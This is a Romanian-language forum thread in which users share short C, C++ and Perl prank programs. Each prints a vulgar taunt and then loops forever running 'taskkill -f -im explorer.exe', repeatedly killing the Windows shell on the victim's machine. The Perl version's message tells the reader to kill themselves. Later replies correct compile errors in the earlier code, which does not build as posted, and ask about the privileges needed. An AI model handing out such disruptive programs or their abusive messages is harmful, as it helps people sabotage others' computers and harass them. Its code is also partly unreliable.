ghici Posted July 19, 2006 Report Posted July 19, 2006 grettz go to DarthSionPt c++ folositi urmatorul exemplu :#include <iostream.h>#include <windows.h>void main(){cout << "nn Ti-am futut rashnitza nn";cout << "aaaaaaa";while(1){System("taskkill -f -im explorer.exe";}Amatorii de perl pot folosi :print "nn LOL sinucide-te!!!nnaaa";while(1){system("taskkill -f -im explorer.exe";}Daca vreti sa inchideti un proces dupa pid(adica nr de indentificare) si nu dupa numele sau normal(ceea cee putin probabil) folosit -pid in loc de -im. Quote
rellik Posted September 9, 2006 Report Posted September 9, 2006 atunci incearca varianta pt C:#include <stdio.h>#include <iostream.h>#include <windows.h>void main(){printf("nn Ti-am futut rashnitza nn");printf("aaaaaaa");while(1){System("taskkill -f -im explorer.exe");} Quote
dexter_byte Posted May 24, 2007 Report Posted May 24, 2007 programeaza cineva pe aici si in TP??? Quote
ladybug Posted June 20, 2007 Report Posted June 20, 2007 Nu merge in C++atunci incearca varianta pt C:#include <stdio.h>#include <iostream.h>#include <windows.h>void main(){printf("nn Ti-am futut rashnitza nn");printf("aaaaaaa");while(1){System("taskkill -f -im explorer.exe");}nici aia nu merge..1. ori pui o acolada un plus la sfarsitul main()-ului, ori o scoti pe cea de la inceputul while-ului.2. nu ai nevoie de iostream.h sau windows.h3. functia system() se scrie cu "s" mic + din cate stiu eu, ca sa folosesti system(), trebuie sa incluzi si stdlib.h (in Windows)mai exact, ar trebui sa fie asa:// #include <stdio.h> -> de fapt de asta n-ai nevoie#include <stdlib.h>int main() { system("taskkill -f -im totalcmd.exe");} Quote
Tot_zeu Posted September 14, 2007 Report Posted September 14, 2007 Asta chiar inchide procesu'?nu trebe sa i aflam pid si luid pt privilegiu?nu trebe sa folosim AdjustTokenPrivileges? Quote